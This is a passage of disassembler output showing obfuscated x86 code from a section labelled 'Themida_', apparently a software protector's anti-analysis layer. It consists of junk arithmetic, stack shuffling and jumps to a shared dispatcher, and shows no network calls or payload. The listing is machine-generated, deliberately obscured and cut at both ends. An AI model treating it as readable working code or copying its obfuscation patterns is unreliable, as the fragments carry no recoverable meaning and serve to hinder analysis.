; ---------------------------------------------------------------------------


loc_568857:				; CODE XREF: Themida_:00562F91j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_564A6A
; ---------------------------------------------------------------------------


loc_56886A:				; CODE XREF: Themida_:0056FA9Dj
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56886F:				; CODE XREF: Themida_:00567006j
		mov	edx, 66796EAFh
		xor	edx, 52E04755h
		add	edx, 13D9412Fh
		add	edx, 1CDF9C1Eh
		add	eax, edx
		pop	edx
		add	eax, 44E4748Ah
		sub	eax, ebx
		push	ebp
		mov	ebp, 44E4748Ah
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	2854h
		jmp	loc_56E0BA
; ---------------------------------------------------------------------------


loc_5688A9:				; CODE XREF: Themida_:0055F1CDj
		add	edx, 72560454h
		add	edx, ebp
		sub	edx, 72560454h
		mov	ebp, [esp]
		jmp	loc_56AF7C
; ---------------------------------------------------------------------------


loc_5688BF:				; CODE XREF: Themida_:005648D2j
		pop	esi
		shr	edx, 7
		and	edx, 88B5EACh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7DBF5404h
		jmp	loc_563CA5
; ---------------------------------------------------------------------------


loc_5688DC:				; CODE XREF: Themida_:0056ECA7j
		shr	ebp, 1
		inc	ebp
		jmp	loc_565720
; ---------------------------------------------------------------------------


loc_5688E4:				; CODE XREF: Themida_:00570631j
		pop	eax
		jmp	loc_560285
; ---------------------------------------------------------------------------


loc_5688EA:				; CODE XREF: Themida_:0056732Ej
		add	esi, 4
		add	esi, 4
		jmp	loc_563203
; ---------------------------------------------------------------------------


loc_5688FB:				; CODE XREF: Themida_:0056E539j
		or	dl, cl
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5661B2
; ---------------------------------------------------------------------------


loc_568909:				; CODE XREF: Themida_:0056B723j
		pop	edi
		sub	eax, 407056DBh
		sub	eax, ebx
		add	eax, 407056DBh
		jmp	loc_5674A8
; ---------------------------------------------------------------------------


loc_56891B:				; CODE XREF: Themida_:0056874Cj
		add	[esp+2], si
		jmp	loc_56DC71
; ---------------------------------------------------------------------------


loc_568925:				; CODE XREF: Themida_:005700C5j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 5CAC1CAFh
		dec	ecx
		sub	ecx, 2CB56EC7h
		neg	ecx
		sub	ecx, 0D0095217h
		sub	ebp, 6D8A09A0h
		add	ebp, ecx
		push	edx
		jmp	loc_56606B
; ---------------------------------------------------------------------------


loc_568951:				; CODE XREF: Themida_:00561EA2j
		sub	esi, 0C9A818DEh
		add	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_566EB7
; ---------------------------------------------------------------------------


loc_568977:				; CODE XREF: Themida_:00564060j
		pop	esi
		jmp	loc_5713E6
; ---------------------------------------------------------------------------


loc_56897D:				; CODE XREF: Themida_:00570DABj
		add	edx, eax
		sub	esp, 4
		jmp	loc_55DD52
; ---------------------------------------------------------------------------


loc_56898A:				; CODE XREF: Themida_:0057297Fj
		sub	bl, dh
		add	bl, 0BDh
		jmp	loc_560CC4
; ---------------------------------------------------------------------------


loc_568994:				; CODE XREF: Themida_:0056981Ej
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_568999:				; CODE XREF: Themida_:0055DF37j
		sub	ecx, 4
		push	ecx
		jmp	loc_56BC4A
; ---------------------------------------------------------------------------


loc_5689A2:				; CODE XREF: Themida_:00569136j
		sub	esp, 4
		jmp	loc_56FED3
; ---------------------------------------------------------------------------


loc_5689AD:				; CODE XREF: Themida_:0055F55Cj
		mov	[esp], ecx
		jmp	loc_56C15A
; ---------------------------------------------------------------------------


loc_5689B5:				; CODE XREF: Themida_:00569FA9j
		add	esi, 3DC0AABh
		add	esi, ebp
		sub	esi, 3DC0AABh
		pop	ebp
		push	eax
		push	5A48h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_566E08
; ---------------------------------------------------------------------------


loc_5689D4:				; CODE XREF: Themida_:0056CF4Dj
		add	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		jmp	loc_57287F
; ---------------------------------------------------------------------------


loc_5689DF:				; CODE XREF: Themida_:0056BC9Fj
		shr	esi, 7
		shr	esi, 8
		push	eax
		jmp	loc_569EA0
; ---------------------------------------------------------------------------


loc_5689EB:				; CODE XREF: Themida_:00571A6Aj
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_56614B
; ---------------------------------------------------------------------------


loc_5689FB:				; CODE XREF: Themida_:00571D50j
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_571510
; ---------------------------------------------------------------------------


loc_568A08:				; CODE XREF: Themida_:0056FEE9j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	6CB93B08h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56D8A8
; ---------------------------------------------------------------------------


loc_568A2E:				; CODE XREF: Themida_:0055F6B8j
		xor	[esp], edi
		jmp	loc_55F820
; ---------------------------------------------------------------------------


loc_568A36:				; CODE XREF: Themida_:0056A11Fj
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5670B1
; ---------------------------------------------------------------------------


loc_568A47:				; CODE XREF: Themida_:00563A11j
		push	ebx
		push	edx
		jmp	loc_56D382
; ---------------------------------------------------------------------------


loc_568A4E:				; CODE XREF: Themida_:0056DC80j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_568A53:				; CODE XREF: Themida_:00564126j
		push	ecx
		mov	ecx, 23993837h
		dec	ecx
		jmp	loc_568AC5
; ---------------------------------------------------------------------------


loc_568A5F:				; CODE XREF: Themida_:00560A19j
		pop	eax
		dec	esi
		jmp	loc_55E943
; ---------------------------------------------------------------------------


loc_568A66:				; CODE XREF: Themida_:00568C66j
		add	ebp, 4
		push	4346h
		mov	[esp], esi
		push	12C6h
		mov	[esp], edx
		push	5977597Fh
		pop	edx
		add	edx, 0FFFFFFFFh
		push	ecx
		mov	ecx, 65596h
		shr	ecx, 3
		jmp	loc_560C1A
; ---------------------------------------------------------------------------


loc_568A96:				; CODE XREF: Themida_:005707CDj
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		xor	edi, 6CF535B0h
		not	edi
		jmp	loc_56C311
; ---------------------------------------------------------------------------


loc_568AAF:				; CODE XREF: Themida_:00561A3Bj
		push	esi
		push	eax
		mov	eax, 3BF138DCh
		mov	esi, 46617CF1h
		xor	esi, eax
		pop	eax
		not	esi
		jmp	loc_56D6B5
; ---------------------------------------------------------------------------


loc_568AC5:				; CODE XREF: Themida_:00568A5Aj
		shr	ecx, 6
		or	ecx, 65067007h
		xor	ecx, 0CBC3F8Fh
		add	ecx, 32E931CAh
		push	ebx
		mov	ebx, 595C691Ah
		push	ebp
		mov	ebp, 21AF1AC6h
		and	ebx, ebp
		jmp	loc_55F9EC
; ---------------------------------------------------------------------------


loc_568AED:				; CODE XREF: Themida_:00565656j
		sub	esp, 2
		mov	[esp], dx
		xor	word ptr [esp],	6399h
		pop	di
		xor	di, 6399h
		mov	cx, di
		jmp	loc_56BB4C
; ---------------------------------------------------------------------------


loc_568B09:				; CODE XREF: Themida_:0056ABD5j
		and	eax, 3F8C0143h
		jmp	loc_56A4D5
; ---------------------------------------------------------------------------


loc_568B13:				; CODE XREF: Themida_:005695F7j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_56EF54
; ---------------------------------------------------------------------------
		dd 0E9242489h, 5923h
; ---------------------------------------------------------------------------


loc_568B28:				; CODE XREF: Themida_:0055F1D4j
		push	ecx
		jmp	loc_566B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_568B2E:				; CODE XREF: sub_562A0A+E22Aj
		mov	ecx, [esp+4+var_4]
		jmp	loc_56D5A5
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_568B36:				; CODE XREF: Themida_:0056FBEEj
		push	66F1h
		jmp	loc_562F90
; ---------------------------------------------------------------------------


loc_568B40:				; CODE XREF: Themida_:0055EB6Dj
		mov	ecx, [esp]
		push	eax
		push	esp
		jmp	loc_56E0EA
; ---------------------------------------------------------------------------


loc_568B4A:				; CODE XREF: Themida_:00568C40j
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_567066
; ---------------------------------------------------------------------------


loc_568B5A:				; CODE XREF: Themida_:00570ACAj
		add	eax, ebp
		add	eax, 2D4C68AEh
		jmp	loc_56DDEB
; ---------------------------------------------------------------------------


loc_568B66:				; CODE XREF: Themida_:00566375j
		inc	esi
		jmp	loc_561A65
; ---------------------------------------------------------------------------


loc_568B6C:				; CODE XREF: Themida_:0056827Bj
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	760Dh
		mov	[esp], edi
		jmp	loc_56648C
; ---------------------------------------------------------------------------


loc_568B85:				; CODE XREF: Themida_:0056D34Dj
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 374A6689h
		jmp	loc_55F8A4
; ---------------------------------------------------------------------------


loc_568B95:				; CODE XREF: Themida_:0055FF28j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56417D
; ---------------------------------------------------------------------------


loc_568BA0:				; CODE XREF: Themida_:0056902Bj
		sub	al, dl
		push	edx
		mov	dl, 0B1h
		shl	dl, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_563C41
; ---------------------------------------------------------------------------


loc_568BB6:				; CODE XREF: Themida_:0056E42Bj
		add	ebx, 4
		jmp	loc_562C1B
; ---------------------------------------------------------------------------


loc_568BC1:				; CODE XREF: Themida_:00569840j
		sub	ebx, esi
		sub	ebx, 2492569Dh
		pop	esi
		shl	ebx, 5
		sub	ebx, 5E667978h
		push	edi
		mov	edi, 895FE488h
		xor	ebx, edi
		push	dword ptr [esp]
		jmp	loc_5713BE
; ---------------------------------------------------------------------------


loc_568BE3:				; CODE XREF: Themida_:00562C65j
		push	ebp
		jmp	loc_5714C6
; ---------------------------------------------------------------------------


loc_568BE9:				; CODE XREF: Themida_:005729F9j
		sub	esp, 4
		mov	[esp], ecx
		push	5CEBh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56A4DF
; ---------------------------------------------------------------------------


loc_568C07:				; CODE XREF: Themida_:0055D6C7j
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, 28D761C1h
		add	edx, ebp
		jmp	loc_571387
; ---------------------------------------------------------------------------


loc_568C1C:				; CODE XREF: Themida_:00562D98j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_564258
; ---------------------------------------------------------------------------


loc_568C2F:				; CODE XREF: Themida_:00568211j
		add	esp, 4
		sub	ebp, 56647108h
		add	ebp, edi
		add	ebp, 56647108h
		jmp	loc_568B4A
; ---------------------------------------------------------------------------


loc_568C45:				; CODE XREF: Themida_:00566CE2j
		add	ebx, 0D6748F0h
		jmp	loc_56EA3D
; ---------------------------------------------------------------------------


loc_568C50:				; CODE XREF: Themida_:0056FD81j
		pop	esp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_568C56:				; CODE XREF: Themida_:0056EF45j
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_568A66
; ---------------------------------------------------------------------------


loc_568C6B:				; CODE XREF: Themida_:0055F6B0j
		add	esp, 4
		add	eax, 4
		push	esi
		jmp	loc_56C6D4
; ---------------------------------------------------------------------------


loc_568C7C:				; CODE XREF: Themida_:00568DEAj
		mov	[esp], eax
		mov	ah, 0FAh
		mov	bl, 0FAh
		add	bl, ah
		pop	eax
		dec	bl
		xor	bl, 0E0h
		push	ecx
		jmp	loc_5634F1
; ---------------------------------------------------------------------------


loc_568C91:				; CODE XREF: Themida_:0056EF76j
		mov	edi, 18CC02C6h
		and	edi, 7183711h
		not	edi
		dec	edi
		jmp	loc_56A907
; ---------------------------------------------------------------------------


loc_568CA4:				; CODE XREF: Themida_:0055E959j
		mov	[esp], ebp
		mov	ebp, 4F7D4933h
		and	ebp, 485F586Eh
		neg	ebp
		xor	ebp, 40E84D4Eh
		or	ebp, 7347179Dh
		add	ebp, 0BBE5A764h
		sub	ecx, ebp
		pop	ebp
		sub	esi, ecx
		jmp	loc_55EF3B
; ---------------------------------------------------------------------------


loc_568CD0:				; CODE XREF: Themida_:0056B8BAj
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55EB8D
; ---------------------------------------------------------------------------


loc_568CDB:				; CODE XREF: Themida_:00566CECj
		mov	[esp], dx
		push	12CCh
		jmp	loc_564BF1
; ---------------------------------------------------------------------------


loc_568CE9:				; CODE XREF: Themida_:00570400j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56C9F0
; ---------------------------------------------------------------------------


loc_568CF4:				; CODE XREF: Themida_:00570D8Bj
		sub	ebx, 342260A3h
		push	esi
		push	ebp
		jmp	loc_56AB48
; ---------------------------------------------------------------------------


loc_568D01:				; CODE XREF: Themida_:0056295Fj
		inc	dh
		push	bx
		mov	bh, 0C2h
		jmp	loc_56CB56
; ---------------------------------------------------------------------------


loc_568D0C:				; CODE XREF: Themida_:00563536j
		or	ch, 0Bh
		sub	esp, 4
		jmp	loc_5655C2
; ---------------------------------------------------------------------------


loc_568D17:				; CODE XREF: Themida_:005680A6j
		add	ebx, 51A905E0h
		push	ebp
		mov	ebp, 7B87278Ch
		jmp	loc_562ACE
; ---------------------------------------------------------------------------


loc_568D28:				; CODE XREF: Themida_:00571B0Dj
		push	esi
		mov	esi, 7A3C4523h
		sub	esp, 4
		jmp	loc_566831
; ---------------------------------------------------------------------------


loc_568D39:				; CODE XREF: Themida_:00561138j
		sub	ah, ch
		pop	ecx
		push	ebx
		jmp	loc_56445B
; ---------------------------------------------------------------------------


loc_568D42:				; CODE XREF: Themida_:0056CBCBj
		mov	ebp, 6588534Eh
		push	6C77h
		jmp	loc_55FEE5
; ---------------------------------------------------------------------------


loc_568D51:				; CODE XREF: Themida_:0057091Bj
		sub	esi, edx
		pop	edx
		jmp	loc_564C42
; ---------------------------------------------------------------------------


loc_568D59:				; CODE XREF: Themida_:00560A7Aj
		mov	ebp, esp
		push	esi
		jmp	loc_55E084
; ---------------------------------------------------------------------------


loc_568D61:				; CODE XREF: Themida_:00567275j
		mov	edx, 7DA4753Ch
		add	ebx, edx
		pop	edx
		push	7C23h
		mov	[esp], esi
		push	eax
		jmp	loc_56B661
; ---------------------------------------------------------------------------


loc_568D77:				; CODE XREF: Themida_:00564C99j
		mov	edi, 23635D47h
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_56108A
; ---------------------------------------------------------------------------


loc_568D86:				; CODE XREF: Themida_:0055D8E3j
		push	213Bh
		jmp	loc_56B694
; ---------------------------------------------------------------------------


loc_568D90:				; CODE XREF: Themida_:0056C155j
		add	esp, 4
		inc	esi
		sub	esi, 0EEE14552h
		add	eax, 71C50920h
		sub	eax, esi
		push	ebx
		mov	ebx, 71C50920h
		sub	eax, ebx
		pop	ebx
		pop	esi
		push	dword ptr [edi+eax*4]
		jmp	loc_5699E3
; ---------------------------------------------------------------------------


loc_568DB3:				; CODE XREF: Themida_:00563319j
		pop	esp
		mov	[esp], esi
		jmp	loc_565B5B
; ---------------------------------------------------------------------------


loc_568DBC:				; CODE XREF: Themida_:00563685j
		xor	ebp, [esp]
		jmp	loc_5706D4
; ---------------------------------------------------------------------------


loc_568DC4:				; CODE XREF: Themida_:005690E0j
		push	7FD3h
		mov	[esp], esp
		push	edi
		jmp	loc_567F24
; ---------------------------------------------------------------------------


loc_568DD2:				; CODE XREF: Themida_:0056FD4Fj
		add	esi, 4
		add	esi, 4
		jmp	loc_56C41F
; ---------------------------------------------------------------------------


loc_568DE3:				; CODE XREF: Themida_:0056C26Aj
		mov	[esp], ecx
		push	ebx
		sub	esp, 4
		jmp	loc_568C7C
; ---------------------------------------------------------------------------


loc_568DEF:				; CODE XREF: Themida_:0056B7BEj
		add	ecx, 4
		jmp	loc_55E144
; ---------------------------------------------------------------------------


loc_568DFA:				; CODE XREF: Themida_:00561051j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 535F6EDDh
		mov	eax, 0D9E4D77Eh
		add	eax, ecx
		pop	ecx
		jmp	loc_570E8D
; ---------------------------------------------------------------------------


loc_568E15:				; CODE XREF: Themida_:005607BBj
		pop	eax
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_567AC1
; ---------------------------------------------------------------------------


loc_568E21:				; CODE XREF: Themida_:0055DD91j
		add	ebp, edi
		add	ebp, 22F41FB7h
		jmp	loc_564A52
; ---------------------------------------------------------------------------


loc_568E2E:				; CODE XREF: Themida_:00566B21j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 1E341B7Dh
		shl	ebx, 3
		push	esi
		jmp	loc_561C7A
; ---------------------------------------------------------------------------


loc_568E40:				; CODE XREF: Themida_:0056CFE7j
		add	edx, edi
		pop	edi
		shr	edx, 7
		xor	edx, 2DCE66F8h
		shr	edx, 2
		sub	edx, 9EE1284Bh
		jmp	loc_55EDDE
; ---------------------------------------------------------------------------


loc_568E5A:				; CODE XREF: Themida_:0055D89Aj
		shl	edx, 1
		push	7E20h
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_563497
; ---------------------------------------------------------------------------


loc_568E6C:				; CODE XREF: Themida_:0056A9C6j
		push	3C1Ch
		jmp	loc_571493
; ---------------------------------------------------------------------------


loc_568E76:				; CODE XREF: Themida_:0057242Bj
		pop	edx
		push	2701h
		mov	[esp], eax
		push	680h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	2111h
		mov	[esp], edi
		push	ebp
		push	5B4964DBh
		pop	ebp
		add	ebp, 0A4B69B29h
		jmp	loc_55EBEF
; ---------------------------------------------------------------------------


loc_568EAC:				; CODE XREF: Themida_:00568741j
		xor	ebx, 843BEAAAh
		sub	ecx, ebx
		pop	ebx
		jmp	loc_56506D
; ---------------------------------------------------------------------------


loc_568EBA:				; CODE XREF: Themida_:00571656j
		mov	ebx, 2B7A0EC2h
		push	edx
		mov	edx, 635E701Ah
		jmp	loc_5674B2
; ---------------------------------------------------------------------------


loc_568ECA:				; CODE XREF: Themida_:005634CBj
		mov	edx, 27A31AC0h
		push	edx
		jmp	loc_55EFDB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	5FD5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5633FD
; ---------------------------------------------------------------------------


loc_568F05:				; CODE XREF: Themida_:0056BE93j
		shr	ecx, 3
		jmp	loc_55F2F4
; ---------------------------------------------------------------------------


loc_568F0D:				; CODE XREF: Themida_:00571437j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_571920
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_569992
; ---------------------------------------------------------------------------


loc_568F28:				; CODE XREF: Themida_:0056CD1Fj
		shr	edi, 5
		sub	edi, 17F33293h
		xor	edi, 0ECB99B00h
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	eax
		jmp	loc_56E203
; ---------------------------------------------------------------------------


loc_568F53:				; CODE XREF: Themida_:0055E8B1j
		mov	ah, cl
		push	edx
		mov	dh, bl
		mov	cl, dh
		pop	edx
		mov	bl, ah
		mov	ax, [esp]
		add	esp, 2
		xchg	al, cl
		jmp	loc_56A834
; ---------------------------------------------------------------------------


loc_568F6B:				; CODE XREF: Themida_:00569659j
		mov	ebp, 4981723Dh
		shl	ebp, 2
		xor	ebp, 3B3700F6h
		push	6C12h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55F052
; ---------------------------------------------------------------------------


loc_568F88:				; CODE XREF: Themida_:00570337j
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	esi
		jmp	loc_56BDCB
; ---------------------------------------------------------------------------
		lodsb
		push	6AB6h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_571431
; ---------------------------------------------------------------------------


loc_568FB3:				; CODE XREF: Themida_:005629EDj
		pop	eax
		jmp	loc_571407
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	889h
		mov	[esp], eax
		push	977h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_560F6B
; ---------------------------------------------------------------------------


loc_568FED:				; CODE XREF: Themida_:00560C74j
		pop	esp
		push	ebx
		push	eax
		push	28FAh
		mov	[esp], ebx
		mov	bl, dl
		mov	al, bl
		pop	ebx
		push	19A6h
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_56A681
; ---------------------------------------------------------------------------


loc_56900D:				; CODE XREF: Themida_:0055D9F2j
		pop	dword ptr [esp]
		xchg	eax, esi
		not	eax
		xor	esi, eax
		xor	eax, esi
		xor	esi, eax
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56AFE1
; ---------------------------------------------------------------------------


loc_56902A:				; CODE XREF: Themida_:0056F6FAj
		pop	ecx
		jmp	loc_568BA0
; ---------------------------------------------------------------------------


loc_569030:				; CODE XREF: Themida_:0056F3C9j
		push	dword ptr [esp]
		jmp	loc_56A939
; ---------------------------------------------------------------------------


loc_569038:				; CODE XREF: Themida_:00572A0Fj
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_55F210
; ---------------------------------------------------------------------------


loc_569057:				; CODE XREF: Themida_:00564D97j
		mov	[esp], ecx
		push	edi
		mov	edi, ebx
		push	6335h
		mov	[esp], edi
		jmp	loc_56F5CE
; ---------------------------------------------------------------------------


loc_56906A:				; CODE XREF: Themida_:00560D2Fj
		push	esp
		pop	esi
		jmp	loc_572000
; ---------------------------------------------------------------------------


loc_569071:				; CODE XREF: Themida_:005665BCj
		add	ebx, 0F6013B3Ch
		mov	esi, ebx
		jmp	loc_56977C
; ---------------------------------------------------------------------------


loc_56907E:				; CODE XREF: Themida_:005602EDj
		push	ebx
		mov	ebx, 0A21156Eh
		dec	ebx
		push	4406h
		jmp	loc_563B5C
; ---------------------------------------------------------------------------


loc_56908F:				; CODE XREF: Themida_:00571790j
		add	edx, 40086769h
		add	edx, 7F330AE8h
		xor	edx, 3C4D159Fh
		add	edx, 6FB1D3Eh
		add	edi, edx
		pop	edx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_56374C
; ---------------------------------------------------------------------------


loc_5690B8:				; CODE XREF: Themida_:00571875j
		sub	esi, 64D17025h
		sub	esi, edi
		add	esi, 64D17025h
		pop	edi
		push	eax
		push	edi
		mov	edi, 0AD6CECh
		sub	edi, 4B0A618Dh
		jmp	loc_5603F7
; ---------------------------------------------------------------------------


loc_5690D9:				; CODE XREF: Themida_:005616F3j
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_568DC4
; ---------------------------------------------------------------------------


loc_5690E5:				; CODE XREF: Themida_:0056F08Bj
		pop	eax
		push	51C7h
		jmp	loc_5698B6
; ---------------------------------------------------------------------------


loc_5690F0:				; CODE XREF: Themida_:005712F8j
		sub	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55DE2C
; ---------------------------------------------------------------------------


loc_569101:				; CODE XREF: Themida_:0056156Cj
		sub	al, 27h
		sub	bl, al
		pop	ax
		sub	bl, 0E3h
		add	bl, al
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 92h
		xor	ah, 27h
		inc	ah
		neg	ah
		and	ah, 0DAh
		not	ah
		add	ah, 2Eh
		add	bl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_564F0E
; ---------------------------------------------------------------------------


loc_569133:				; CODE XREF: Themida_:0056CADFj
		mov	[esp], eax
		jmp	loc_5689A2
; ---------------------------------------------------------------------------


loc_56913B:				; CODE XREF: Themida_:00561BEBj
		add	esp, 4
		jmp	loc_5700FC
; ---------------------------------------------------------------------------


loc_569146:				; CODE XREF: Themida_:00563A70j
		mov	esi, 4
		jmp	loc_56A56C
; ---------------------------------------------------------------------------


loc_569150:				; CODE XREF: Themida_:00563BCAj
		mov	esp, [esp]
		sub	eax, 74857B8Fh
		jmp	loc_56A7FF
; ---------------------------------------------------------------------------


loc_56915D:				; CODE XREF: Themida_:00564BD1j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56916F:				; CODE XREF: Themida_:00564CB5j
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 7
		push	1296h
		mov	[esp], ebx
		push	esi
		push	662h
		mov	[esp], ecx
		push	3EE533A1h
		pop	ecx
		shr	ecx, 4
		push	edx
		push	eax
		push	619A654Eh
		pop	eax
		sub	eax, 2489584Fh
		xor	eax, 47A075D3h
		sub	eax, 451C718h
		mov	edx, eax
		pop	eax
		add	ecx, edx
		jmp	loc_56F950
; ---------------------------------------------------------------------------


loc_5691B8:				; CODE XREF: Themida_:00567B22j
		pop	ebp
		or	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 39E32731h
		jmp	loc_563C6F
; ---------------------------------------------------------------------------


loc_5691C7:				; CODE XREF: Themida_:00561B5Cj
		add	eax, ebp
		push	edx
		push	esi
		push	75741746h
		pop	esi
		dec	esi
		jmp	loc_572614
; ---------------------------------------------------------------------------


loc_5691D7:				; CODE XREF: Themida_:00566E2Dj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55E6AC
; ---------------------------------------------------------------------------


loc_5691E3:				; CODE XREF: Themida_:00567ABCj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0DA2464Fh
		push	ebx
		mov	ebx, 7301661Eh
		sub	edi, ebx
		pop	ebx
		xor	edi, 279524Bh
		jmp	loc_5618C0
; ---------------------------------------------------------------------------


loc_569202:				; CODE XREF: Themida_:005724D4j
		mov	edi, [esp]
		jmp	loc_56AAD7
; ---------------------------------------------------------------------------


loc_56920A:				; CODE XREF: Themida_:00570EA5j
		push	ecx
		mov	ecx, ebp
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	ebp
		push	53F3h
		mov	[esp], edi
		jmp	loc_56D816
; ---------------------------------------------------------------------------


loc_569226:				; CODE XREF: Themida_:005714F0j
		xor	dl, 1Fh
		dec	dl
		sub	dl, 88h
		xchg	bl, dl
		push	ebx
		not	byte ptr [esp]
		pop	ebx
		push	eax
		jmp	loc_56DB70
; ---------------------------------------------------------------------------


loc_56923B:				; CODE XREF: Themida_:0056A9FCj
		pop	esi
		sub	bx, 281Ah
		add	dx, bx
		pop	ebx
		jmp	loc_56E7E1
; ---------------------------------------------------------------------------


loc_56924A:				; CODE XREF: Themida_:00562FA5j
		add	edx, esi
		add	edx, 117000D0h
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_569263:				; CODE XREF: Themida_:005712D1j
		not	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_566062
; ---------------------------------------------------------------------------


loc_569273:				; CODE XREF: Themida_:005686B2j
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_567500
; ---------------------------------------------------------------------------


loc_569281:				; CODE XREF: Themida_:0056CE75j
		pop	ebx
		sub	ebx, ecx
		jmp	loc_568535
; ---------------------------------------------------------------------------


loc_569289:				; CODE XREF: Themida_:0055DA5Fj
		xor	ch, 5Bh
		sub	al, 1Eh
		push	ebx
		push	edx
		jmp	loc_570A0B
; ---------------------------------------------------------------------------


loc_569295:				; CODE XREF: Themida_:00572238j
		pop	edi
		push	ebx
		mov	ebx, 59D91C4Fh
		add	eax, ebx
		pop	ebx
		shr	eax, 3
		sub	eax, 0FCEAF276h
		sub	ebp, eax
		jmp	loc_561775
; ---------------------------------------------------------------------------


loc_5692AE:				; CODE XREF: Themida_:0056E613j
		sub	ebx, 0ED54CD18h
		add	ebp, ebx
		pop	ebx
		pop	ecx
		or	eax, ebp
		pop	ebp
		not	eax
		sub	eax, 0F22E01FCh
		add	ebx, 72E34957h
		jmp	loc_56EB24
; ---------------------------------------------------------------------------


loc_5692CD:				; CODE XREF: Themida_:00566365j
		pop	ebx
		pop	edi
		sub	edx, 1B2E774Fh
		sub	edx, ebx
		add	edx, 1B2E774Fh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebp, edx
		mov	edx, [esp]
		push	edx
